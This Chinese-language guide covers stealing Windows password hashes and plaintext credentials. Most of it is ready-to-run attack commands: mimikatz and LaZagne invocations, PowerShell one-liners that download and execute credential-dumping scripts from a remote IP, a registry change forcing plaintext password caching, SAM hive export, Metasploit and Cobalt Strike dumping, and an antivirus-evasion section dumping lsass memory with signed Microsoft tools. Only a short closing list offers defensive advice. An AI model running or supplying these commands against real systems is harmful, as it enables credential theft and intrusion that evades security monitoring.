windows hash 抓取总结
字数 2114 2025-08-18 11:39:23
Windows Hash 抓取技术全面指南
Windows Hash 基础概念
Windows密码Hash由两部分组成:
- LM Hash (LAN Manager Hash):微软早期散列加密算法,本质为DES加密
- NTLM Hash:现代Windows系统主要使用的加密方式
格式组成:username:RID:LM-HASH值:NTLM-HASH值
NTLM-Hash生成方法
- 将明文口令转换成十六进制格式
- 转换成Unicode格式(在每个字节之后添加0x00)
- 对Unicode字符串作MD4加密,生成32位十六进制数字串
示例:
- 密码:
cseroad@2008 - 十六进制:
637365726f61644032303038 - Unicode字符串:
63007300650072006f006100640040003200300030003800 - NTLM-Hash:
82c58d8cec50de01fd109613369c158e
注意:从Windows Server 2008开始,系统默认禁用LM hash。当LM Hash显示为
AAD3B435B51404EEAAD3B435B51404EE时,表示空密码或未使用LM_HASH。
Hash获取原理
Windows安全策略通过lsass.exe进程实现(本地安全策略和登录策略)。获取Hash的主要方法包括:
- 从内存中的
lsass.exe进程导出散列值和明文密码 - 从
SAM文件中提取(位于C:\Windows\System32\config目录,该文件被锁定不允许直接复制)
常用Hash抓取工具
1. QuarksPwDump工具
- 支持系统:Windows XP/2003/Vista/7/2008
- 功能:抓取本地帐户、域帐户、缓存的域帐户凭据
- 命令:
Quarkspwdump.exe --dump-hash-local # 导出用户NTLM Hash - 下载:GitHub源码
2. LaZagne工具
- 功能:不仅能抓取Windows密码,还能获取浏览器缓存密码、SVN密码、WiFi密码、邮箱密码等
- 支持平台:Windows、Linux、MAC
- 命令:
LaZagne.exe all - 下载:GitHub
3. getpass.exe工具
- 基于mimikatz编译,可直接获取明文密码
- 使用方法:直接运行
getpass.exe
4. Pwdump7.exe工具
- 使用方法:将
libeay32.dll和Pwdump7.exe放在同一目录下运行
5. wce工具
- 分为32位和64位版本
- 功能:列举登录会话,添加、改变和删除相关凭据
- 命令:
wce.exe -w # 读取系统明文密码 wme.exe -l # 获取hash
6. PowerShell脚本
Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Get-PassHashes.ps1');Get-PassHashes
Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
Out-Minidump.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
7. Mimikatz工具
- 功能:抓取hash及明文密码
- 命令:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
Win10/2012R2以上系统注意事项:
默认在内存缓存中禁止保存明文密码,可通过修改注册表后重新登录抓取:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
8. SAM表获取hash
- 导出SAM和System文件:
reg save HKLM\SYSTEM sys.hiv reg save HKLM\SAM sam.hiv - 使用mimikatz读取:
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
渗透测试框架中的Hash获取
Metasploit框架
hashdump命令(需system权限)windows/gather/smart_hashdump脚本(获取域内用户hash)- 加载mimikatz模块:
load mimikatz msv # 获取hash kerberos # 获取明文 ssp # 获取明文信息 tspkg # 尝试检索tspkg凭据 wdigest # 尝试检索wdigest凭据 mimikatz_command -f samdump::hashes # 获取hash mimikatz_command -f sekurlsa::searchPasswords # 获取明文密码
Cobalt Strike框架
Dump Hashes:获取hashRun Mimikatz:运行Mimikatz- Beacon命令:
hashdump:获取hash值logonpasswords:相当于mimikatz_command -f sekurlsa::searchPasswords
Empire框架
内置mimikatz模块读取hash
免杀技术
1. procdump.exe(微软官方工具)
- 导出lsass内存:
procdump.exe -accepteula -ma lsass.exe lsass.dmp - 本地使用mimikatz读取:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
注意:导出的lsass.dmp需要在相同系统环境下解析
2. SqlDumper.exe(微软官方工具)
- 查找lsass进程ID:
tasklist /svc | findstr lsass.exe - 导出dump文件:
Sqldumper.exe <ProcessID> 0 0x01100 - mimikatz加载:
mimikatz.exe "sekurlsa::minidumpSQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit
3. SharpDump工具
- Out-Minidump.ps1的C#编译版本
- 导出文件后缀为.bin,需重命名为.zip后解压
- 使用mimikatz读取:
mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"
Hash破解工具
在线破解网站:
- https://www.objectif-securite.ch/en/ophcrack
- http://cracker.offensive-security.com/index.php
防御建议
- 禁用LM Hash(已在新版本Windows默认禁用)
- 启用Credential Guard(Windows 10/Server 2016+)
- 限制对lsass.exe进程的访问
- 监控注册表关键项修改(如WDigest设置)
- 使用强密码策略增加Hash破解难度
- 定期检查异常进程和网络连接